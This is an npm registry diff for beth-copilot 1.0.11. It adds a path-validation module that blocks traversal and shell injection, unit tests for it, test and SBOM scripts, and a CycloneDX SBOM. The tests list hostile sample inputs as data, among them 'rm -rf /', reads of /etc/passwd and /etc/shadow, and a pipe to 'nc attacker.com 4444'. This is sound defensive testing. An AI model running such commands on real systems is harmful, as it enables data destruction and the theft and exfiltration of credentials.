beth-copilot 1.0.10 → 1.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,233 @@
1
+ /**
2
+ * Path validation utilities for user-supplied binary paths.
3
+ * Prevents path traversal attacks, injection, and execution of unintended binaries.
4
+ */
5
+
6
+ import { existsSync, statSync, accessSync, constants } from 'fs';
7
+ import { resolve, normalize, isAbsolute, basename, dirname } from 'path';
8
+
9
+ // Characters that could be used for shell injection
10
+ // Note: backslash is allowed as Windows path separator
11
+ const SHELL_INJECTION_CHARS = /[;&|`$(){}[\]<>!'"]/;
12
+
13
+ // Path traversal sequences
14
+ const TRAVERSAL_PATTERNS = [
15
+ /\.\.[/\\]/, // ../ or ..\
16
+ /[/\\]\.\.[/\\]/, // /../ or \..\
17
+ /[/\\]\.\.$/, // ends with /.. or \..
18
+ /^\.\.[/\\]/, // starts with ../ or ..\
19
+ /^\.\.$/, // just ".."
20
+ ];
21
+
22
+ /**
23
+ * Validation result type
24
+ * @typedef {Object} ValidationResult
25
+ * @property {boolean} valid - Whether the path is valid
26
+ * @property {string} [error] - Error message if invalid
27
+ * @property {string} [normalizedPath] - Normalized absolute path if valid
28
+ */
29
+
30
+ /**
31
+ * Check if a path contains traversal sequences
32
+ * @param {string} inputPath - The path to check
33
+ * @returns {boolean} - True if traversal sequences found
34
+ */
35
+ export function containsTraversal(inputPath) {
36
+ if (!inputPath || typeof inputPath !== 'string') {
37
+ return false;
38
+ }
39
+
40
+ return TRAVERSAL_PATTERNS.some(pattern => pattern.test(inputPath));
41
+ }
42
+
43
+ /**
44
+ * Check if a path contains shell injection characters
45
+ * @param {string} inputPath - The path to check
46
+ * @returns {boolean} - True if injection characters found
47
+ */
48
+ export function containsShellInjection(inputPath) {
49
+ if (!inputPath || typeof inputPath !== 'string') {
50
+ return false;
51
+ }
52
+
53
+ return SHELL_INJECTION_CHARS.test(inputPath);
54
+ }
55
+
56
+ /**
57
+ * Check if a file exists and is executable
58
+ * @param {string} filePath - Absolute path to check
59
+ * @returns {{exists: boolean, executable: boolean}}
60
+ */
61
+ export function checkExecutable(filePath) {
62
+ const result = { exists: false, executable: false };
63
+
64
+ try {
65
+ if (!existsSync(filePath)) {
66
+ return result;
67
+ }
68
+
69
+ result.exists = true;
70
+
71
+ const stats = statSync(filePath);
72
+ if (!stats.isFile()) {
73
+ return result;
74
+ }
75
+
76
+ // On Windows, check file extension for executability
77
+ if (process.platform === 'win32') {
78
+ const executableExtensions = ['.exe', '.cmd', '.bat', '.com', '.ps1'];
79
+ const ext = filePath.toLowerCase().slice(filePath.lastIndexOf('.'));
80
+ result.executable = executableExtensions.includes(ext);
81
+ } else {
82
+ // On Unix, check execute permission
83
+ try {
84
+ accessSync(filePath, constants.X_OK);
85
+ result.executable = true;
86
+ } catch {
87
+ result.executable = false;
88
+ }
89
+ }
90
+ } catch {
91
+ // File access error
92
+ }
93
+
94
+ return result;
95
+ }
96
+
97
+ /**
98
+ * Validate a user-supplied binary path
99
+ * @param {string} inputPath - The path provided by the user
100
+ * @param {Object} [options] - Validation options
101
+ * @param {boolean} [options.requireAbsolute=false] - Require absolute path
102
+ * @param {boolean} [options.checkExists=true] - Check if file exists
103
+ * @param {boolean} [options.verifyExecutable=true] - Check if file is executable
104
+ * @param {string[]} [options.allowedBasenames] - If provided, only allow these binary names
105
+ * @returns {ValidationResult}
106
+ */
107
+ export function validateBinaryPath(inputPath, options = {}) {
108
+ const {
109
+ requireAbsolute = false,
110
+ checkExists = true,
111
+ verifyExecutable = true,
112
+ allowedBasenames = null,
113
+ } = options;
114
+
115
+ // Basic type and empty check
116
+ if (!inputPath || typeof inputPath !== 'string') {
117
+ return { valid: false, error: 'Path cannot be empty' };
118
+ }
119
+
120
+ // Trim whitespace
121
+ const trimmedPath = inputPath.trim();
122
+ if (trimmedPath.length === 0) {
123
+ return { valid: false, error: 'Path cannot be empty' };
124
+ }
125
+
126
+ // Length limit to prevent DoS
127
+ if (trimmedPath.length > 4096) {
128
+ return { valid: false, error: 'Path exceeds maximum length (4096 characters)' };
129
+ }
130
+
131
+ // Check for null bytes (path injection)
132
+ if (trimmedPath.includes('\0')) {
133
+ return { valid: false, error: 'Path contains invalid characters (null byte)' };
134
+ }
135
+
136
+ // Check for path traversal
137
+ if (containsTraversal(trimmedPath)) {
138
+ return { valid: false, error: 'Path contains directory traversal sequences (../)' };
139
+ }
140
+
141
+ // Check for shell injection characters
142
+ if (containsShellInjection(trimmedPath)) {
143
+ return {
144
+ valid: false,
145
+ error: 'Path contains potentially dangerous characters. Use an absolute path without special characters.'
146
+ };
147
+ }
148
+
149
+ // Normalize the path
150
+ let normalizedPath;
151
+ try {
152
+ normalizedPath = normalize(trimmedPath);
153
+
154
+ // After normalization, check again for traversal (could be obfuscated)
155
+ if (containsTraversal(normalizedPath)) {
156
+ return { valid: false, error: 'Path resolves to a directory traversal' };
157
+ }
158
+
159
+ // Resolve to absolute path
160
+ normalizedPath = resolve(normalizedPath);
161
+ } catch (err) {
162
+ return { valid: false, error: `Invalid path format: ${err.message}` };
163
+ }
164
+
165
+ // Check if absolute path is required
166
+ if (requireAbsolute && !isAbsolute(trimmedPath)) {
167
+ return { valid: false, error: 'Path must be an absolute path' };
168
+ }
169
+
170
+ // Check allowed basenames (whitelist specific binaries)
171
+ if (allowedBasenames && allowedBasenames.length > 0) {
172
+ // Extract basename handling both Unix and Windows separators
173
+ // This is necessary because on Unix, basename() doesn't handle Windows paths
174
+ const pathParts = normalizedPath.split(/[\\/]/);
175
+ const name = pathParts[pathParts.length - 1] || '';
176
+ const nameWithoutExt = name.replace(/\.(exe|cmd|bat|com)$/i, '');
177
+
178
+ const allowed = allowedBasenames.some(allowedName => {
179
+ const allowedLower = allowedName.toLowerCase();
180
+ return name.toLowerCase() === allowedLower ||
181
+ nameWithoutExt.toLowerCase() === allowedLower;
182
+ });
183
+
184
+ if (!allowed) {
185
+ return {
186
+ valid: false,
187
+ error: `Binary '${name}' is not in the allowed list: ${allowedBasenames.join(', ')}`
188
+ };
189
+ }
190
+ }
191
+
192
+ // Check if file exists
193
+ if (checkExists) {
194
+ const execCheck = checkExecutable(normalizedPath);
195
+
196
+ if (!execCheck.exists) {
197
+ return { valid: false, error: `File not found: ${normalizedPath}` };
198
+ }
199
+
200
+ // Check if executable
201
+ if (verifyExecutable && !execCheck.executable) {
202
+ return { valid: false, error: `File is not executable: ${normalizedPath}` };
203
+ }
204
+ }
205
+
206
+ return { valid: true, normalizedPath };
207
+ }
208
+
209
+ /**
210
+ * Validate a binary path specifically for the beads (bd) CLI
211
+ * @param {string} inputPath - The path to validate
212
+ * @returns {ValidationResult}
213
+ */
214
+ export function validateBeadsPath(inputPath) {
215
+ return validateBinaryPath(inputPath, {
216
+ checkExists: true,
217
+ verifyExecutable: true,
218
+ allowedBasenames: ['bd', 'bd.exe', 'bd.cmd'],
219
+ });
220
+ }
221
+
222
+ /**
223
+ * Validate a binary path specifically for the backlog CLI
224
+ * @param {string} inputPath - The path to validate
225
+ * @returns {ValidationResult}
226
+ */
227
+ export function validateBacklogPath(inputPath) {
228
+ return validateBinaryPath(inputPath, {
229
+ checkExists: true,
230
+ verifyExecutable: true,
231
+ allowedBasenames: ['backlog', 'backlog.exe', 'backlog.cmd'],
232
+ });
233
+ }
@@ -0,0 +1,280 @@
1
+ /**
2
+ * Unit tests for path validation utilities.
3
+ * Run with: node --test bin/lib/pathValidation.test.js
4
+ */
5
+
6
+ import { describe, it, mock, beforeEach, afterEach } from 'node:test';
7
+ import assert from 'node:assert';
8
+ import { fileURLToPath } from 'url';
9
+ import { dirname, join } from 'path';
10
+
11
+ import {
12
+ containsTraversal,
13
+ containsShellInjection,
14
+ checkExecutable,
15
+ validateBinaryPath,
16
+ validateBeadsPath,
17
+ validateBacklogPath,
18
+ } from './pathValidation.js';
19
+
20
+ const __filename = fileURLToPath(import.meta.url);
21
+ const __dirname = dirname(__filename);
22
+
23
+ describe('containsTraversal', () => {
24
+ it('should detect ../ traversal', () => {
25
+ assert.strictEqual(containsTraversal('../file'), true);
26
+ assert.strictEqual(containsTraversal('path/../file'), true);
27
+ assert.strictEqual(containsTraversal('/path/../file'), true);
28
+ assert.strictEqual(containsTraversal('path/..'), true);
29
+ });
30
+
31
+ it('should detect ..\\ traversal (Windows)', () => {
32
+ assert.strictEqual(containsTraversal('..\\file'), true);
33
+ assert.strictEqual(containsTraversal('path\\..\\file'), true);
34
+ assert.strictEqual(containsTraversal('C:\\path\\..\\file'), true);
35
+ });
36
+
37
+ it('should detect standalone ..', () => {
38
+ assert.strictEqual(containsTraversal('..'), true);
39
+ });
40
+
41
+ it('should allow normal paths', () => {
42
+ assert.strictEqual(containsTraversal('/usr/local/bin/bd'), false);
43
+ assert.strictEqual(containsTraversal('/home/user/.local/bin/bd'), false);
44
+ assert.strictEqual(containsTraversal('C:\\Users\\name\\bin\\bd.exe'), false);
45
+ });
46
+
47
+ it('should allow paths with dots in filenames', () => {
48
+ assert.strictEqual(containsTraversal('/path/to/file.test.js'), false);
49
+ assert.strictEqual(containsTraversal('/path/.hidden/file'), false);
50
+ });
51
+
52
+ it('should handle edge cases', () => {
53
+ assert.strictEqual(containsTraversal(''), false);
54
+ assert.strictEqual(containsTraversal(null), false);
55
+ assert.strictEqual(containsTraversal(undefined), false);
56
+ });
57
+ });
58
+
59
+ describe('containsShellInjection', () => {
60
+ it('should detect command chaining characters', () => {
61
+ assert.strictEqual(containsShellInjection('/bin/bd; rm -rf /'), true);
62
+ assert.strictEqual(containsShellInjection('/bin/bd && malicious'), true);
63
+ assert.strictEqual(containsShellInjection('/bin/bd | cat /etc/passwd'), true);
64
+ });
65
+
66
+ it('should detect backticks and subshells', () => {
67
+ assert.strictEqual(containsShellInjection('/bin/`whoami`'), true);
68
+ assert.strictEqual(containsShellInjection('/bin/$(whoami)'), true);
69
+ assert.strictEqual(containsShellInjection('/bin/${PATH}'), true);
70
+ });
71
+
72
+ it('should detect quotes', () => {
73
+ assert.strictEqual(containsShellInjection("/bin/bd'"), true);
74
+ assert.strictEqual(containsShellInjection('/bin/bd"'), true);
75
+ // Note: backslash is intentionally allowed for Windows path compatibility
76
+ });
77
+
78
+ it('should detect redirections', () => {
79
+ assert.strictEqual(containsShellInjection('/bin/bd > /tmp/out'), true);
80
+ assert.strictEqual(containsShellInjection('/bin/bd < /etc/passwd'), true);
81
+ });
82
+
83
+ it('should allow normal paths', () => {
84
+ assert.strictEqual(containsShellInjection('/usr/local/bin/bd'), false);
85
+ assert.strictEqual(containsShellInjection('/home/user/.local/bin/bd'), false);
86
+ assert.strictEqual(containsShellInjection('C:\\Users\\name\\bin\\bd.exe'), false);
87
+ assert.strictEqual(containsShellInjection('/path/with-dashes/and_underscores'), false);
88
+ });
89
+
90
+ it('should handle edge cases', () => {
91
+ assert.strictEqual(containsShellInjection(''), false);
92
+ assert.strictEqual(containsShellInjection(null), false);
93
+ assert.strictEqual(containsShellInjection(undefined), false);
94
+ });
95
+ });
96
+
97
+ describe('validateBinaryPath', () => {
98
+ describe('basic validation', () => {
99
+ it('should reject empty paths', () => {
100
+ assert.strictEqual(validateBinaryPath('').valid, false);
101
+ assert.strictEqual(validateBinaryPath(' ').valid, false);
102
+ assert.strictEqual(validateBinaryPath(null).valid, false);
103
+ assert.strictEqual(validateBinaryPath(undefined).valid, false);
104
+ });
105
+
106
+ it('should reject paths with traversal', () => {
107
+ const result = validateBinaryPath('../../../etc/passwd', { checkExists: false });
108
+ assert.strictEqual(result.valid, false);
109
+ assert.ok(result.error.includes('traversal'));
110
+ });
111
+
112
+ it('should reject paths with shell injection', () => {
113
+ const result = validateBinaryPath('/bin/bd; rm -rf /', { checkExists: false });
114
+ assert.strictEqual(result.valid, false);
115
+ assert.ok(result.error.includes('dangerous'));
116
+ });
117
+
118
+ it('should reject paths with null bytes', () => {
119
+ const result = validateBinaryPath('/bin/bd\0malicious', { checkExists: false });
120
+ assert.strictEqual(result.valid, false);
121
+ assert.ok(result.error.includes('null byte'));
122
+ });
123
+
124
+ it('should reject excessively long paths', () => {
125
+ const longPath = '/bin/' + 'a'.repeat(5000);
126
+ const result = validateBinaryPath(longPath, { checkExists: false });
127
+ assert.strictEqual(result.valid, false);
128
+ assert.ok(result.error.includes('maximum length'));
129
+ });
130
+ });
131
+
132
+ describe('path normalization', () => {
133
+ it('should normalize valid paths', () => {
134
+ // Use a path that doesn't require existence check
135
+ const result = validateBinaryPath('/usr/local/bin/bd', { checkExists: false });
136
+ assert.strictEqual(result.valid, true);
137
+ assert.ok(result.normalizedPath);
138
+ });
139
+ });
140
+
141
+ describe('allowedBasenames validation', () => {
142
+ it('should reject paths with non-allowed basenames', () => {
143
+ const result = validateBinaryPath('/usr/bin/malicious', {
144
+ checkExists: false,
145
+ allowedBasenames: ['bd', 'backlog'],
146
+ });
147
+ assert.strictEqual(result.valid, false);
148
+ assert.ok(result.error.includes('not in the allowed list'));
149
+ });
150
+
151
+ it('should accept paths with allowed basenames', () => {
152
+ const result = validateBinaryPath('/usr/local/bin/bd', {
153
+ checkExists: false,
154
+ allowedBasenames: ['bd', 'backlog'],
155
+ });
156
+ assert.strictEqual(result.valid, true);
157
+ });
158
+
159
+ it('should handle Windows executable extensions', () => {
160
+ const result = validateBinaryPath('C:\\bin\\bd.exe', {
161
+ checkExists: false,
162
+ allowedBasenames: ['bd'],
163
+ });
164
+ assert.strictEqual(result.valid, true);
165
+ });
166
+ });
167
+
168
+ describe('existence and executable checks', () => {
169
+ it('should report file not found for non-existent paths', () => {
170
+ const result = validateBinaryPath('/this/path/definitely/does/not/exist/bd');
171
+ assert.strictEqual(result.valid, false);
172
+ assert.ok(result.error.includes('not found'));
173
+ });
174
+
175
+ it('should validate actual executable files', () => {
176
+ // Test with a file we know exists - the node binary
177
+ const nodePath = process.execPath;
178
+ const result = validateBinaryPath(nodePath, {
179
+ verifyExecutable: true,
180
+ allowedBasenames: null // Don't restrict basename for this test
181
+ });
182
+ assert.strictEqual(result.valid, true);
183
+ });
184
+ });
185
+ });
186
+
187
+ describe('validateBeadsPath', () => {
188
+ it('should reject non-bd binaries', () => {
189
+ const result = validateBeadsPath('/usr/bin/malicious');
190
+ assert.strictEqual(result.valid, false);
191
+ });
192
+
193
+ it('should reject paths with traversal even for bd', () => {
194
+ const result = validateBeadsPath('../../../usr/bin/bd');
195
+ assert.strictEqual(result.valid, false);
196
+ assert.ok(result.error.includes('traversal'));
197
+ });
198
+
199
+ it('should accept valid bd path format (if exists check disabled)', () => {
200
+ // This tests the validation logic, not file existence
201
+ // We'd need to mock fs for a complete test
202
+ const result = validateBeadsPath('/nonexistent/path/bd');
203
+ assert.strictEqual(result.valid, false);
204
+ assert.ok(result.error.includes('not found'));
205
+ });
206
+ });
207
+
208
+ describe('validateBacklogPath', () => {
209
+ it('should reject non-backlog binaries', () => {
210
+ const result = validateBacklogPath('/usr/bin/malicious');
211
+ assert.strictEqual(result.valid, false);
212
+ });
213
+
214
+ it('should reject paths with shell injection', () => {
215
+ const result = validateBacklogPath('/bin/backlog && rm -rf /');
216
+ assert.strictEqual(result.valid, false);
217
+ assert.ok(result.error.includes('dangerous'));
218
+ });
219
+ });
220
+
221
+ describe('checkExecutable', () => {
222
+ it('should return exists=false for non-existent files', () => {
223
+ const result = checkExecutable('/this/path/does/not/exist');
224
+ assert.strictEqual(result.exists, false);
225
+ assert.strictEqual(result.executable, false);
226
+ });
227
+
228
+ it('should detect executable files', () => {
229
+ // Test with the node binary (known to be executable)
230
+ const result = checkExecutable(process.execPath);
231
+ assert.strictEqual(result.exists, true);
232
+ assert.strictEqual(result.executable, true);
233
+ });
234
+ });
235
+
236
+ // Integration-style tests for attack scenarios
237
+ describe('attack scenario prevention', () => {
238
+ it('should prevent path traversal to system files', () => {
239
+ const attacks = [
240
+ '../../../etc/passwd',
241
+ '/home/user/../../../etc/passwd',
242
+ '..\\..\\..\\windows\\system32\\cmd.exe',
243
+ '/usr/bin/../../etc/shadow',
244
+ ];
245
+
246
+ for (const attack of attacks) {
247
+ const result = validateBinaryPath(attack, { checkExists: false });
248
+ assert.strictEqual(result.valid, false, `Should reject: ${attack}`);
249
+ }
250
+ });
251
+
252
+ it('should prevent command injection via path', () => {
253
+ const attacks = [
254
+ '/bin/bd; cat /etc/passwd',
255
+ '/bin/bd && rm -rf /',
256
+ '/bin/bd | nc attacker.com 4444',
257
+ '/bin/bd`whoami`',
258
+ '/bin/bd$(id)',
259
+ '/bin/bd > /tmp/output',
260
+ ];
261
+
262
+ for (const attack of attacks) {
263
+ const result = validateBinaryPath(attack, { checkExists: false });
264
+ assert.strictEqual(result.valid, false, `Should reject: ${attack}`);
265
+ }
266
+ });
267
+
268
+ it('should prevent null byte injection', () => {
269
+ const attacks = [
270
+ '/bin/bd\0.txt',
271
+ '/bin/\0bd',
272
+ 'bd\0malicious',
273
+ ];
274
+
275
+ for (const attack of attacks) {
276
+ const result = validateBinaryPath(attack, { checkExists: false });
277
+ assert.strictEqual(result.valid, false, `Should reject path with null byte`);
278
+ }
279
+ });
280
+ });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "beth-copilot",
3
- "version": "1.0.10",
3
+ "version": "1.0.11",
4
4
  "description": "Beth - A ruthless, hyper-competent AI orchestrator for GitHub Copilot multi-agent workflows",
5
5
  "keywords": [
6
6
  "github-copilot",
@@ -27,8 +27,15 @@
27
27
  },
28
28
  "files": [
29
29
  "bin/",
30
- "templates/"
30
+ "templates/",
31
+ "assets/",
32
+ "sbom.json"
31
33
  ],
34
+ "scripts": {
35
+ "test": "node --test bin/lib/*.test.js",
36
+ "sbom:generate": "npx @cyclonedx/cyclonedx-npm --output-file sbom.json --output-format JSON",
37
+ "prepublishOnly": "npm run sbom:generate"
38
+ },
32
39
  "engines": {
33
40
  "node": ">=18"
34
41
  },
package/sbom.json ADDED
@@ -0,0 +1,129 @@
1
+ {
2
+ "$schema": "http://cyclonedx.org/schema/bom-1.6.schema.json",
3
+ "bomFormat": "CycloneDX",
4
+ "specVersion": "1.6",
5
+ "version": 1,
6
+ "serialNumber": "urn:uuid:eb42feb4-edf5-4986-8f30-8a0b9b8418d3",
7
+ "metadata": {
8
+ "timestamp": "2026-02-01T09:13:32.721Z",
9
+ "tools": {
10
+ "components": [
11
+ {
12
+ "type": "application",
13
+ "name": "npm",
14
+ "version": "10.8.2"
15
+ },
16
+ {
17
+ "type": "application",
18
+ "name": "cyclonedx-npm",
19
+ "group": "@cyclonedx",
20
+ "version": "4.1.2",
21
+ "author": "Jan Kowalleck",
22
+ "description": "Create CycloneDX Software Bill of Materials (SBOM) from NPM projects.",
23
+ "licenses": [
24
+ {
25
+ "license": {
26
+ "id": "Apache-2.0"
27
+ }
28
+ }
29
+ ],
30
+ "externalReferences": [
31
+ {
32
+ "url": "git+https://github.com/CycloneDX/cyclonedx-node-npm.git",
33
+ "type": "vcs",
34
+ "comment": "as detected from PackageJson property \"repository.url\""
35
+ },
36
+ {
37
+ "url": "https://github.com/CycloneDX/cyclonedx-node-npm#readme",
38
+ "type": "website",
39
+ "comment": "as detected from PackageJson property \"homepage\""
40
+ },
41
+ {
42
+ "url": "https://github.com/CycloneDX/cyclonedx-node-npm/issues",
43
+ "type": "issue-tracker",
44
+ "comment": "as detected from PackageJson property \"bugs.url\""
45
+ }
46
+ ]
47
+ },
48
+ {
49
+ "type": "library",
50
+ "name": "cyclonedx-library",
51
+ "group": "@cyclonedx",
52
+ "version": "9.4.1",
53
+ "author": "Jan Kowalleck",
54
+ "description": "Core functionality of CycloneDX for JavaScript (Node.js or WebBrowser).",
55
+ "licenses": [
56
+ {
57
+ "license": {
58
+ "id": "Apache-2.0"
59
+ }
60
+ }
61
+ ],
62
+ "externalReferences": [
63
+ {
64
+ "url": "git+https://github.com/CycloneDX/cyclonedx-javascript-library.git",
65
+ "type": "vcs",
66
+ "comment": "as detected from PackageJson property \"repository.url\""
67
+ },
68
+ {
69
+ "url": "https://github.com/CycloneDX/cyclonedx-javascript-library#readme",
70
+ "type": "website",
71
+ "comment": "as detected from PackageJson property \"homepage\""
72
+ },
73
+ {
74
+ "url": "https://github.com/CycloneDX/cyclonedx-javascript-library/issues",
75
+ "type": "issue-tracker",
76
+ "comment": "as detected from PackageJson property \"bugs.url\""
77
+ }
78
+ ]
79
+ }
80
+ ]
81
+ },
82
+ "component": {
83
+ "type": "application",
84
+ "name": "beth-copilot",
85
+ "version": "1.0.11",
86
+ "bom-ref": "beth-copilot@1.0.11",
87
+ "author": "Steph Schofield",
88
+ "description": "Beth - A ruthless, hyper-competent AI orchestrator for GitHub Copilot multi-agent workflows",
89
+ "licenses": [
90
+ {
91
+ "license": {
92
+ "id": "MIT",
93
+ "acknowledgement": "declared"
94
+ }
95
+ }
96
+ ],
97
+ "purl": "pkg:npm/beth-copilot@1.0.11?vcs_url=git%2Bhttps%3A%2F%2Fgithub.com%2Fstephschofield%2Fbeth.git",
98
+ "externalReferences": [
99
+ {
100
+ "url": "git+https://github.com/stephschofield/beth.git",
101
+ "type": "vcs",
102
+ "comment": "as detected from PackageJson property \"repository.url\""
103
+ },
104
+ {
105
+ "url": "https://github.com/stephschofield/beth#readme",
106
+ "type": "website",
107
+ "comment": "as detected from PackageJson property \"homepage\""
108
+ },
109
+ {
110
+ "url": "https://github.com/stephschofield/beth/issues",
111
+ "type": "issue-tracker",
112
+ "comment": "as detected from PackageJson property \"bugs.url\""
113
+ }
114
+ ],
115
+ "properties": [
116
+ {
117
+ "name": "cdx:npm:package:path",
118
+ "value": ""
119
+ }
120
+ ]
121
+ }
122
+ },
123
+ "components": [],
124
+ "dependencies": [
125
+ {
126
+ "ref": "beth-copilot@1.0.11"
127
+ }
128
+ ]
129
+ }